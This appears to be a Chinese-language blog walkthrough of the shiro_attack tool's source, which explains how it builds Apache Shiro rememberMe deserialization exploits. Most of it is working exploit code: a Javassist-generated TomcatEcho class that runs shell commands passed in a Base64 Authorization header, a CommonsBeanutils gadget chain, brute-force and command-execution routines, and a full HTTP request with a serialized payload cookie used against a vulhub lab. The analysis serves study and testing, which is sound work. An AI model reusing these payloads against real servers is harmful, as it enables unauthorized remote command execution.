跟进attackService.GadgetPayload() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public String GadgetPayload(String gadgetOpt , String echoOpt , String spcShiroKey ) { String rememberMe = null; try { Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload .Utils . getPayloadClass(gadgetOpt ) ; ObjectPayload<?> gadgetPayload = (ObjectPayload)gadgetClazz.new Instance() ; Object template = Gadgets . createTemplatesImpl(echoOpt ) ; Object chainObject = gadgetPayload.getObject(template ) ; rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey); } catch (Exception var9) { var9.printStackTrace() ; this.mainController.logTextArea.appendText(Utils.log (var9 .getMessage () )); } return rememberMe; }
这里跟进一下第一个引用ObjectPayload.Utils
1 Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload .Utils . getPayloadClass(gadgetOpt ) ;
ctrl+左键跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception; public static class Utils { public static Class <? extends ObjectPayload> getPayloadClass(String className) { Class <? extends ObjectPayload> clazz = null ; try { clazz = (Class )Class .forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className)); } catch (Exception exception) {} return clazz; } } }
分析完了,回到attackService 跟进一下第二个引用
1 Object template = Gadgets . createTemplatesImpl(echoOpt ) ;
1 2 3 public static Object createTemplatesImpl(String classpayload ) throws Exception { return Boolean . parseBoolean(System.getProperty ("properXalan" , "false" ) ) ? createTemplatesImpl(classpayload , Class.forName ("org.apache.xalan.xsltc.trax.TemplatesImpl" ) , Class .for Name("org.apache.xalan.xsltc.runtime.AbstractTranslet" ) ) : createTemplatesImpl(classpayload , TemplatesImpl.class , AbstractTranslet.class ) ; }
这个方法说实话有点模糊,问过ai也是不太了解 分段式解释
String classpayload:参数,表示回显方式名称(如 “TomcatEcho”, “SpringEcho”, “AllEcho”),用于生成对应的回显类。
throws Exception:可能抛出异常。
方法体(三元运算符)
1 2 3 4 5 6 7 8 9 10 11 return Boolean .parseBoolean(System .getProperty("properXalan", "false")) ? createTemplatesImpl( classpayload, Class .forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class .forName("org.apache.xalan.xsltc.runtime.AbstractTranslet") ) : createTemplatesImpl( classpayload, TemplatesImpl.class , AbstractTranslet.class );
先分析这个判断部分
1 Boolean . parseBoolean(System.getProperty ("properXalan" , "false" ) )
System.getProperty(“properXalan”, “false”):读取系统属性 properXalan,不存在时返回 “false”。
Boolean.parseBoolean(…):将字符串转为布尔值(”true” → true,其他 → false)。
作用:判断是否使用“标准 Xalan 实现”。
propeoXalan是什么?
Xalan 是 Apache 的 XSLT 处理器,包含 TemplatesImpl 和 AbstractTranslet。
在 JDK 中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是内部实现(可能随 JDK 版本变化)。
org.apache.xalan.xsltc.trax.TemplatesImpl 是标准 Xalan 库中的类(更稳定,但需要额外依赖)。
为什么需要这个判断?
兼容性:不同环境可能只有 JDK 内部类或只有标准 Xalan,需要适配。
稳定性:标准 Xalan 更稳定,但需要额外依赖;JDK 内部类更通用但可能变化。 说实话这里还是没怎么了解,不过影响也不是很大 分析为true的语句吧1 2 3 4 5 createTemplatesImpl( classpayload , Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ) )
Class.forName(“org.apache.xalan.xsltc.trax.TemplatesImpl”):动态加载标准 Xalan 的 TemplatesImpl。
Class.forName(“org.apache.xalan.xsltc.runtime.AbstractTranslet”):动态加载标准 Xalan 的 AbstractTranslet。
适用场景:目标环境有标准 Xalan 库,或需要更稳定的实现。
为false的语句
1 2 3 4 5 createTemplatesImpl ( classpayload, TemplatesImpl.class , AbstractTranslet.class )
TemplatesImpl.class:使用 JDK 内部的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
AbstractTranslet.class:使用 JDK 内部的 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
适用场景:大多数情况,JDK 自带,无需额外依赖。
方法目的总结
根据系统属性选择使用标准 Xalan 或 JDK 内部类。
创建包含回显代码的 TemplatesImpl 对象,用于反序列化利用链。
如何设置 properXalan?
启动时设置:java -DproperXalan=true -jar shiro_attack2.jar
代码中设置:System.setProperty(“properXalan”, “true”);
小小跟进一下实现的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static <T> T createTemplatesImpl(String payload , Class<T> tplClass , Class<?> abstTranslet ) throws Exception { T templates = tplClass.new Instance() ; ClassPool pool = ClassPool . getDefault() ; Class<? extends EchoPayload> echoClazz = Utils . getPayloadClass(payload ) ; EchoPayload<?> echoObj = (EchoPayload)echoClazz.new Instance() ; CtClass clazz = echoObj.genPayload(pool ) ; CtClass superClass = pool.get(abstTranslet.getName() ); clazz.setSuperclass(superClass ) ; byte[] classBytes = clazz.to Bytecode() ; Field bcField = TemplatesImpl .class .getDeclaredField("_bytecodes" ) ; bcField.setAccessible(true ) ; bcField.set(templates, new byte[] [] {classBytes}); Field nameField = TemplatesImpl .class .getDeclaredField("_name" ) ; nameField.setAccessible(true ) ; nameField.set(templates, "a" ); return templates; }
然后再跟进一下Utils.getPayloadClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public interface EchoPayload<T> { CtClass genPayload(ClassPool paramClassPool) throws Exception; public static class Utils { public static Class <? extends EchoPayload> getPayloadClass(String className) throws ClassNotFoundException { Class <? extends EchoPayload> clazz = null ; try { clazz = (Class )Class .forName("com.summersec.attack.deser.echo." + StringUtils.capitalize(className)); } catch (ClassNotFoundException e1) { clazz = (Class )Class .forName("com.summersec.attack.deser.plugins." + StringUtils.capitalize(className)); } catch (Exception e) { e.printStackTrace(); } return clazz; } } }
作用:将 echo 名称(如 “TomcatEcho”)转换为对应的 EchoPayload 类对象。
接着我们继续回到createTemplatesImpl,并跟进第二个外部引用echoObj.genPayload(pool),这里以TomcatEcho为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 @Override public CtClass genPayload(final ClassPool pool) throws CannotCompileException , NotFoundException , IOException { final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System .nanoTime()); if (clazz.getDeclaredConstructors().length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addMethod(CtMethod .make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n " + " byte[] bs = (\" $$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \" $$$\" ).getBytes();\n " + " Object var2;\n " + " Class var3;\n " + " try {\n " + " var3 = Class.forName(\" org.apache.tomcat.util.buf.ByteChunk\" );\n " + " var2 = var3.newInstance();\n " + " var3.getDeclaredMethod(\" setBytes\" , new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n " + " var0.getClass().getMethod(\" doWrite\" , new Class[]{var3}).invoke(var0, new Object[]{var2});\n " + " } catch (Exception var5) {\n " + " var3 = Class.forName(\" java.nio.ByteBuffer\" );\n " + " var2 = var3.getDeclaredMethod(\" wrap\" , new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n " + " var0.getClass().getMethod(\" doWrite\" , new Class[]{var3}).invoke(var0, new Object[]{var2});\n " + " } \n " + " }" ,clazz)); clazz.addMethod(CtMethod .make(" private static Object getFV(Object var0, String var1) throws Exception {\n " + " java.lang.reflect.Field var2 = null;\n " + " Class var3 = var0.getClass();\n " + "\n " + " while(var3 != Object.class) {\n " + " try {\n " + " var2 = var3.getDeclaredField(var1);\n " + " break;\n " + " } catch (NoSuchFieldException var5) {\n " + " var3 = var3.getSuperclass();\n " + " }\n " + " }\n " + "\n " + " if (var2 == null) {\n " + " throw new NoSuchFieldException(var1);\n " + " } else {\n " + " var2.setAccessible(true);\n " + " return var2.get(var0);\n " + " }\n " + " }" , clazz)); clazz.addConstructor(CtNewConstructor .make("public TomcatEcho() throws Exception {\n " + " boolean var4 = false;\n " + " Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \" threads\" );\n " + "\n " + " for (int var6 = 0; var6 < var5.length; ++var6) {\n " + " Thread var7 = var5[var6];\n " + " if (var7 != null) {\n " + " String var3 = var7.getName();\n " + " if (!var3.contains(\" exec\" ) && var3.contains(\" http\" )) {\n " + " Object var1 = getFV(var7, \" target\" );\n " + " if (var1 instanceof Runnable) {\n " + " try {\n " + " var1 = getFV(getFV(getFV(var1, \" this$0\" ), \" handler\" ), \" global\" );\n " + " } catch (Exception var13) {\n " + " continue;\n " + " }\n " + "\n " + " java.util.List var9 = (java.util.List) getFV(var1, \" processors\" );\n " + "\n " + " for(int var10 = 0; var10 < var9.size(); ++var10) {\n " + " Object var11 = var9.get(var10);\n " + " var1 = getFV(var11, \" req\" );\n " + " Object var2 = var1.getClass().getMethod(\" getResponse\" ,new Class[0]).invoke(var1, new Object[0]);\n " + " var3 = (String)var1.getClass().getMethod(\" getHeader\" , new Class[]{String.class}).invoke(var1, new Object[]{new String(\" Host\" )});\n " + " if (var3 != null && !var3.isEmpty()) {\n " + " var2.getClass().getMethod(\" setStatus\" , new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n " + " var2.getClass().getMethod(\" addHeader\" , new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\" Host\" ), var3});\n " + " var4 = true;\n " + " }\n " + "\n " + " var3 = (String)var1.getClass().getMethod(\" getHeader\" , new Class[]{String.class}).invoke(var1, new Object[]{new String(\" Authorization\" )});\n " + " if (var3 != null && !var3.isEmpty()) {\n " + " var3 = org.apache.shiro.codec.Base64.decodeToString(var3.replaceAll(\" Basic \" , \" \" ));\n " + " String[] var12 = System.getProperty(\" os.name\" ).toLowerCase().contains(\" window\" ) ? new String[]{\" cmd.exe\" , \" /c\" , var3} : new String[]{\" /bin/sh\" , \" -c\" , var3};\n " + " writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\" \\ \\ A\" ).next().getBytes());\n " + " var4 = true;\n " + " }\n " + "\n " + " if (var4) {\n " + " break;\n " + " }\n " + " }\n " + "\n " + " if (var4) {\n " + " break;\n " + " }\n " + " }\n " + " }\n " + " }\n " + " }\n " + " }" ,clazz)); clazz.getClassFile().setMajorVersion(50 ); return clazz; }
作用:生成一个包含回显逻辑的类,当该类被 TemplatesImpl 加载并实例化时,构造函数会执行,实现命令执行和回显。
接着回到GadgetPayload跟进一下gadgetPayload.getObject()
这里以 CommonsBeanutilsString 为例 位置src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // 实现ObjectPayload接口,泛型为Queue<Object>,表示返回一个队列对象 public class CommonsBeanutilsString implements ObjectPayload<Queue<Object>> { // 重写接口方法。 @Override // 接收template(即TemplatesImpl对象),返回利用链对象。 public Queue<Object> getObject(Object template) throws Exception { // Apache Commons BeanUtils 的比较器,用于按 JavaBean 属性比较对象。 BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // PriorityQueue:优先队列,使用比较器进行排序。 // 参数:2 是初始容量。(Comparator<?>)beanComparator是使用 BeanComparator 作为比较器。 // 作用:当队列排序时,会调用BeanComparator.compare(),进而触发属性访问。 PriorityQueue<String> queue = new PriorityQueue(2 , (Comparator<?>)beanComparator); // 添加两个相同字符串“1 ”,触发队列内部排序。此时比较的是字符串,不会触发恶意逻辑。 queue.add("1" ); queue.add("1" ); // Reflections.setFieldValue:通过反射设置字段值。 // 参数: // queue:目标对象。 // "queue" :字段名(PriorityQueue 内部存储元素的数组字段)。 // new Object[] { template, template }:将内部数组替换为两个 template(TemplatesImpl 对象)。 // 作用:将队列中的元素替换为 template,后续排序时会比较 template 对象。 Reflections.setFieldValue(queue, "queue" , new Object[] { template, template }); // 通过反射将 BeanComparator 的 property 字段设置为 "outputProperties" 。 // 作用:当 BeanComparator.compare() 比较 template 时,会调用 template.getOutputProperties()。 Reflections.setFieldValue(beanComparator, "property" , "outputProperties" ); // 返回构造好的 PriorityQueue,作为利用链对象。 return (Queue)queue; } }
其中有Reflections.setFieldValue 的实现:
1 2 3 4 public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = getField (obj.getClass (), fieldName); field.set (obj, value); }
getField:查找字段(包括父类),并设置可访问。
field.set(obj, value):设置字段值。
利用链触发原理
当目标服务器反序列化这个PriorityQueue时:
反序列化回复PriorityQueue和BeanComparator。
PriorityQueue.readObject()会调用heapify()进行堆排序
排序过程中调用BeanComparator.compare(template1, template2)。
BeanComparator.compare()内部会:
通过反射获取property字段值(“outputProperties”)。
调用template1.getOutputProperties()和template2.getOutputProperties()。
TemplatesImpl.getOutputProperties()会:
检查_bytecodes是否已加载。
如果未加载,调用defineTransletClasses()加载字节码。
实例化加载的类,执行构造函数中的恶意代码(回显逻辑)。
为什么这样设计?
利用 PriorityQueue 的排序机制:反序列化时会自动排序,触发比较器。
利用 BeanComparator 的属性访问:通过反射调用 getter,绕过直接调用。
利用 TemplatesImpl.getOutputProperties():这是 TemplatesImpl 的正常方法,访问时会触发字节码加载。
通过反射设置字段:绕过正常构造流程,直接设置关键字段。
这里描述的很模糊,下一篇博客跟进一下CommonsBeanutilsString利用链,分析一下它的poc
爆破利用链及回显分析 现在分析爆破利用链及回显 首先在gui.fxml找到事件并跟进
跟进crackGadgetBtn() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 @FXML void crackGadgetBtn(ActionEvent event) { String spcShiroKey = this .shiroKey.getText(); if (this .attackService == null ) { this .initAttack(); } boolean flag = false ; if (!spcShiroKey.equals("" )) { List<String> targets = this .attackService.generateGadgetEcho(this .gadgetOpt.getItems(), this .echoOpt.getItems()); for (int i = 0 ; i < targets.size(); ++i) { String[] t = ((String)targets.get (i)).split(":" ); String gadget = t[0 ]; String echo = t[1 ]; flag = this .attackService.gadgetCrack(gadget, echo, spcShiroKey); if (flag) { break ; } } } else { this .logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key" )); } if (!flag) { this .logTextArea.appendText(Utils.log("未找到构造链" )); } }
跟进AttackService.generateGadgetEcho() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public List<String> generateGadgetEcho (ObservableList gadgetItems, ObservableList echoesItems ) { List<String> targets = new ArrayList(); for (int i = 0 ; i < gadgetItems.size(); ++i) { for (int j = 0 ; j < echoesItems.size(); ++j) { System.out .println(); System.out .println(echoesItems.get (j)); targets.add (gadgetItems.get (i) + ":" + echoesItems.get (j)); } } return targets; }
示例:若 gadget 有 [“CommonsBeanutils1”, “CommonsBeanutilsString”],echo 有 [“TomcatEcho”, “SpringEcho”],则生成:
1 2 ["CommonsBeanutils1:TomcatEcho" , "CommonsBeanutils1:SpringEcho" , "CommonsBeanutilsString:TomcatEcho" , "CommonsBeanutilsString:SpringEcho" ]
跟进attackService.gadgetCrack() 回到crackGadgetBtn跟进gadgetCrack() 这个前面分析过了,传入的参数就是利用链,回显方式,还有aeskey
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public boolean gadgetCrack(String gadgetOpt , String echoOpt , String spcShiroKey ) { boolean flag = false ; try { String rememberMe = this.GadgetPayload(gadgetOpt , echoOpt , spcShiroKey ) ; if (rememberMe != null) { HashMap header = new HashMap() ; header.put("Cookie" , rememberMe + ";" ); String result = this.headerHttpRequest(header ) ; if (result.contains("Host" )) { System . out.println(result); this.mainController.logTextArea.appendText(Utils.log ("[++] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt ) ); this.mainController.logTextArea.appendText(Utils.log ("[++] 请尝试进行功能区利用。" ) ); this.mainController.gadgetOpt.setValue(gadgetOpt ) ; this.mainController.echoOpt.setValue(echoOpt ) ; gadget = gadgetOpt; attackRememberMe = rememberMe; flag = true ; System . out.println("Cookie:" +rememberMe + ";" ); } else { System . out.println(result); this.mainController.logTextArea.appendText(Utils.log ("[-] 测试:" + gadgetOpt + " 回显方式: " + echoOpt ) ); } } } catch (Exception var8) { this.mainController.logTextArea.appendText(Utils.log (var8 .getMessage () )); } return flag; }
命令执行功能分析 首先还是回到gui.fxml 跟进下executeCmdBtn
跟进executeCmdBtn() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @FXML void executeCmdBtn(ActionEvent event) { if (AttackService.attackRememberMe != null ) { String command = this .exCommandText.getText(); if (!command.equals("" )) { this .attackService.execCmdTask(command); } else { this .execOutputArea.appendText(Utils.log("请先输入获取的命令" )); } } else { this .execOutputArea.appendText(Utils.log("请先获取密钥和构造链" )); } }
跟进attackService.execCmdTask() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public void execCmdTask(String command ) { HashMap<String, String> header = new HashMap() ; header.put("Cookie" , attackRememberMe); String b64Command = Base64 . encodeToString(command .getBytes (StandardCharsets.UTF_8) ); header.put("Authorization" , "Basic " +b64Command); String responseText = this.bodyHttpRequest(header , "" ) ; String result = responseText.split("\\$\\$\\$" )[1 ] ; if (!result.equals("" )) { byte[] b64bytes = Base64 . decode(result); try { String defaultEncode = Utils . guessEncoding(b64bytes ) ; this.mainController.execOutputArea.appendText(new String(b64bytes , defaultEncode ) ); this.mainController.execOutputArea.appendText("-----------------------------------------------------------------------" + "\n" ) ; } catch (UnsupportedEncodingException var8) { this.mainController.execOutputArea.appendText(new String(b64bytes ) + "\n" ); } } else { this.mainController.execOutputArea.appendText(Utils.log ("命令已执行,返回为空" ) ); } }
ok,现在使用vulhub的靶场搭建一下,测试一下上面命令执行的内容 构建一个数据包
1 header .put("Cookie" , attackRememberMe);
首先在攻击工具代码中调试得出cookie的值,cookie的值包括了利用链和回显类,很长很长,但不包含执行的命令 然后
1 header .put("Authorization" , "Basic " +b64Command);
这里假如我们输入的命令为whoami 构造的请求头就为
1 Authorization: Basic d2hvYW1p
下面是完整的请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST / HTTP/ 1.1 Host: 192.168 .47.130 :8080 Content-Length: 53 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/ 537.36 Origin: http:// 192.168 .47.130 :8080 Authorization: Basic d2hvYW1p Content-Type: application/x-www-form-urlencoded Accept: text/html,application/ xhtml+xml,application/xml;q=0.9,image/ avif,image/webp,image/ apng,*/*;q=0.8,application/ signed-exchange;v=b3;q=0.7 Referer: http:// 192.168 .47.130 :8080 /login;jsessionid=A3FCBBD79C2F9A59DEED9F40D56B02C9 Accept-Encoding: gzip, deflate, br Cookie:rememberMe=9 EWJrAZTqNzY3MAoEuxrwHrHOp1VGvi69ZJgnCXPY6Auar2dIidsLA3p5ILmuRXAwlgITBbd65F88TdCOZkAhvH41aMifR1K94I/7r16X+AvYnzRxYvl4t/ J6/aEgZP66XEQ/ TMtKtUzg/kpOQ2v6e/ BovB/X5kp6vQt/ A2cmOzOSpAIiFoAthktmhzxp91I+8 esckvXgPSXxXzA+5 RWpoirGozrmdIseoLjHwuV0PYDX2NUZl2HPhY+xVfktTDx2EGaOgaNdxi8uFXSeKq2lI6tYIYIRGVnbBVwJZqZC0YX519EBeNr1YiCunWu5H6XuXyvX/SGHoLxrzy1AHS7SNcRe9y85kF3phjtL8SclW9z3BJoF4LthNAr9we4Zvo8tQurTWkyFrVR+FypokORC2Sna+PefSxJah07NTIk3xZQY1ynrj/m AqL8yBrLPJ1WbOfGGIMnE76yOgRmLAlo4iSMxOj7JwCc3qYkI6af6oliny22T6kcbjOOsrB9X1vDmb5qLiv2iffLLnoujMMGwiHSpJzdRzYSKfVif9lmDT9QdTUw27QI84DbF3lAMe3YwQtKe77toQkBmAIsvB9d/rHsZOmIeDOFK/ sEqpWSQ+g0mCcGJOLAL/LwZI+DTGWKxBtWFlpbRTBe+gxtuvcSx/ vK2VKx4pPQOKILf3qZmEXome+CBBj0ZfjcKiY34Q50Q860D3rw6apbC0T+c+DgsTDfg2ZjOHsNsI/mM7Vn7XnDPdgQ3WVXSmh0t2CDKtwhLKyAp8JYzSrz9nq2M9lTDyV8iTeZTFAlpHR846x1J4glwm2xp82nFOh7tVeKfD80X1ozyXx9G20XyLH7IFw7N7lgobxwzVgqx7bTWvomNmuUwoOj9qdnmhUNOs+aXCY+Bc3RA235pvJ6oZb5LDPE4uFouaffOd6TBgXCprwyvj2l8yBBcPT77SPzAqZDCWl5PmFUnJbWO8JO5i/ h8WJo2DrXMKxpvfD0ilXeceRfuvb4+4 fSb3dJsi// LtJADpaSyHBYaa3vGuJhiXVoZ+ggTQmtybUcgkNmfVFVhwDj0YQvb3hqZqITEV1qzutaPhZcuQeOG167pkXvGeVl/e530TnuHSP+yaUbfWgEKcwUgK5dcJzvOssrCs1TL9ONgTAA0nCFNTEXjgdWrN5neCTYMM85qtfZkpFH+9s6ZM8AicE3KYPvcB6QnzPwpqYkjn/y E2swyQ0ddEIF2CkCTBp6JVN+qjPskdEBR5z/iVYntH8wl6HVrgahKL4NYRyKqx20azQreQqQhgRyVFg2mas8XjHvPtw+wCcGHmGpASHYR5MLUajyyESpERGIxX0MTCTtbW4L1ULIke56IiAmRrQIbNhhSGtyly+g7aEGRRiFRD6F83bXgPQCN3QPNkTejU4AUYqgqP7Rx0py6ff/ UuSRNKEb8pAAlKwS8/1f6fNeEJ4/ UmcxdAbVLGW8LDyNiyJ59B9lLhEacTRU/apIhePCZLQtbqt4pgBpepY4pYmqgzwZsxQ1eI9d9+d4+uGLWCEt+NepxW8GJQi6HY7RGC3TIP4RgbXQaC9jqMsEs2PKUNezhLQNou10eoKS+ckCMfe4pLfWhQvnM9m0xUopm0AnCAXxMBY+qZIaCawqu2Vq1H3+HdmSLDgYEZxtYpoH9H+RhvPDehB+taC+s5Lz6MMV+BRYVVvpboPS9tD2d7+NqH7iH8x5gXX0VMxNBNe4hlPRDdBansWbq3+96itzsynJosnleP6w5bGWyS5Et/ I4iiv4TtoKhn59k2VxyfjZjGEh2fTEpWutXbIc99D7tDBOKxttH9J8xfO0jwDfAXO7axkIAfVJt7dMDz0ArVCVnT/88cMJg9qntNT4uzbkvO9tMJWP1esscVvl3ZTt9/ vLGdQ+GghP0Gbxn470gpyGphZ00PI2RXsznGd5HYPL3LVws3Wf/Cdl2zX7HXwPDPdPRIWHvE1firIjvIIpntpcFAMBF+O99IH7T83WwaDVhUaNysv9LJzGF1WA+KlHjR7Y5GArlgMwudmoQ5q4dmTh35MlETsmshoqmdTDch7dvEuqXzAAKb+7LScuAwWiwTFdlCu3n9lUyaM7h658gTt8z1aaFk3hdj6zh67PutUSY+hLYaDzPH6MUpYG4FSUzfaHgszDPq1gzLp9oOhIawg23bAy9mfP4h2eDQ1P34Yrbb112jyej1Co1+qHNV/ 8 kFl9jpryZlhKpTrvMOHHY8ZMIYtpYbLhODIVYGP81uD+TQVg/hsHRvGGJTknItpcQENPoeznlEq1jwBMeG/ cIMpcLo06w4KJ9r3SOh9Ufqlb+YH9PKWKY5NChOnKCHVaNDCYS2dd22s5tAfhQGG7n4ymGb61Gu9UjjIwvP/T0bCrxehi6PKVLgzQUz+tznu+5bAWbk22AtlVHtZoh8yGSLxTN41HO7qhKx6XQXRsqFjIaH2XHSv3hbpYY0kxSXI/ qyCm2Hb2o5U9icjw2gQux6mZcBVRKeCz5ImvunvX5q96wG5fzxnPn/LPUObFlHheTTONkB+ChkEdqMpZ8A89aJ3fHrkZ+AcHEXCE5OEaK3bZINe30876YjPCF0LeapvVS+xUBdb+kXc8JYM+L2igb8YsrjhNi+B6qn/u J/jBtHUqKSIOpszvMfBvbpYKzX7h/ jzUiQxEj/sjJ05mx3xNw+e72m5KFwuRE6pjsIvyyVp8MFRJVyPKvkqqGF7DM3y+Lq3blfXxKOeQ6caUDlFALCd39I4xGUnrN+o1rt5DJJo0lJrJo6mLvb53zwxHaIqW8H0tZ84R9d6pjTLQLpAgqJJsv4xpBr19szX1UaneODSaEoBk4SjfTePrzMGYUiqX5SKdoCTobQfqHtN1jrfCsxx3UM1pNELrMjn2LN0rsvHrR2JtDytKRG1AgEAilH45iJNAqo1VE5jz64I8AzTm3rG1q9ODmTUYE74skaP6fjA2ghjtiSiiQsiEpZpGoeT8natC6E6gK4/ 81 FAH0w0F7vZiasl2luVRhA2uYjgcF1+jN7mrdVZBRx2Wwz2WD78LjUvifd5ymlrjlh8a7OIBUesjgT1JFPn1wK0pgopNt037dAMo6tk0hKApIbCoFNQujUMnebTss13CRlGNoBTebpUErP1bYRPOxMpqTdnm6f0EYrP77g+Wj9RWHwY1JY7vvuS6aSyYHEBz3PAOuoN4Bx2nCK3dAFBhYVFISvoL2arkD/fTZoWtX1dACLogjU5WXxksl+RFId8liZmb6+uXgN0f4QMumr8ESPXGQ3WhiyI8RCu1Rtq+T+DWF7GAPOxZ95Q4uy8+YfYOtDwaBLBvWIT3h/ d08luy7VVaZACtMO47WOTckgje0KfOsmuRlKpNW/y8nUYt53Ii+uoSVV3Gu+jiYI5srz4aOCej/ I+SaWBkGVcq3VaYL95cCgisBBuT688v6NGoCHUuCZEyZdfaGWDLVWB5vS2WHfsfQ5p6QLmzZthmA3nJOcwxbruNCw3tNhsGDAmzx/kztPgnhjnc3op0msYzubSDrTwee6m/ Ro6+iDDviNPir+ZZgVKuES9zmvwquNvxKni/NKn0WP4NImww/i +Qfzt7iWokBEXnG80qO+DGykv1N+wWoa3QNCSaY/82dE3WBBAfy9Z009hVULu7zYKoZsicEtG2x+PnrDNPkjpcvyM4pfq2a05ztGRvxwG/ agD+wji9C8UXaOvLaYozUSVq25bLqU/nBgCKnN/ sW55Ywm+exIXyvjDhjDrGzS4GDrsHA96okTu6VePHtddPns5jGkzbitazevZiDiYq6Oxnieq+TpkSP3JPyzWI9mWGGjdfO0i8bOfL5POdkpFIxIC+GvFsTUHgOpjM+wWuAM6D50Tw24kunL2Ad90x/xyc1exvWs67+cD6oq75M16joTqKzKF1CptkBtlUY3BeL3NV7zmj9XV+ba59a0fqwp44Q4X/ sk2ekwk1GCcspuov+qC39vuWT8ps3SAzCYbVqZQqQp7msmAaiCAiNef5MEPszAG8xqpLmlfBSrP99yvEilHpyzmQojSmjO+ctzZvlFZtT954k8AzRX9aH3s6k/JDpG29bmvRI/ HXU84n+p0F6Q9BV42P9HqDCJ8nXopwMjrIttJBdzswFGfuZfA099n9A0d54PTbOLYA69Ida114IVQYjBsX5JCqBPN/MtNNY1zfpknjkyDjuOOe8RWa9ZRHEYlEsixlFPSZ78vGf0HEgLkGN1rOi5lTHyDvx7prSEo9uyj/ tqRUhiMrOwvMkzdCnKKd8KjsrZF8JDlgUi2C8XucaGXiBTzt4bHl+E5Dv/tdZiEZwYHeAckH7YAQKHreA1GJISMuPl3SV7UAmMq48jxls/ GLzWUXiVJr01z+suywyGmv4uTAUCoN2CGYYl/ueIoUhTijjHaxE+AouPoBWq/ UvxQGqYUQJm3VRKBK6BIHvm1tlSiAXIXIQKfgGzXM6xQMS8Vu57uYokwm6QJB54g3ZA4f0nOw/9C8e0Ong7yA4yuLa90FCn0W+dMJINGTe3MLebfkuntJCo1f0siGgNSFAki/ /4Io5Y/ B+IGIFHu0nsRC33ePCpJWUNp15bFSde24FYwP+E/rXixIoCIYmZNBYggkihDLdqfLIUI4xkU+ejyBnmHrWpDCcluFRLEtRvZ39oWnrRiLTlnK8zzpJ1Rjv69JK8Ld+NP2rx5VNlnUz+SoGD3ZGmuKO6ASdEBJTLzkp4FHAFBM9P1UsGzs51A+Z/ qx+Ft1E92xdfTSnlyy7qcloT9EhmVZ/BKI6699gDmHX3GFjaTJNF2FLNoGJ0Ao65vudiZ/ 3 aDHOG3foAeTaAk/seR3KnUaswEvwUlAiEt6Vx4oM7DBSDoVKjSYuGzb/ 36 aenJYRS/QOtzuXg+zDtwMoF8b32L7xtpT97ST+bNogdzrvfIwMePAnMBY+9EVYCWGTVADfaq35n1dFsk4X5TTo1KYnVfoeTn38IvZZMdybvWhqlB2swo456ger/ tz7XQyCKOe5XgBDyJJQvrZPCgPKJg3uXqncVjI4rWhzv+TZw+ac5PIE2P78wCMzKXRcSsWQHfGO7W3cJcYiPQZsfQDTCHTKZsnLbkV4aHA2z0B3KrFdkN/lRQ8kDnD5yQVLabNATv3wo8JWEfUWicIvAwD7LjnGjMKFEgl8uNYmKQHelgATH5TTZJb/ L+ZGXj9pqPyeZrJvuranz76kTPFPGh8Qdm19s81qxYwmNbs/QXq9UDP516j150dBMD75QssfnrtI7mgAAAw5/ 